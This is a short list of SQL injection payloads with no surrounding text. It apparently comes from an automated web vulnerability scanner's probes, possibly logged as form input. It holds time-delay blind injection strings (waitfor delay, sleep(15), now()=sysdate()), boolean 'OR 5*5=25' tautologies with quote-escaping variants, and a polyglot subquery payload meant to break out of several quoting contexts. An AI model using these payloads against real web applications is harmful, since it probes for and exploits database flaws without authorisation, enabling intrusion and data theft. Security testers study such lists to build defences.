Mr.-1; waitfor delay '0:0:15' --

-1' OR 5*5=25 --

-1" OR 5*5=25 --

-1' OR 5*5=25 or 'jigSlGQK'='

-1" OR 5*5=25 or "cPpFiwbc"="

555*if(now()=sysdate(),sleep(15),0)

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555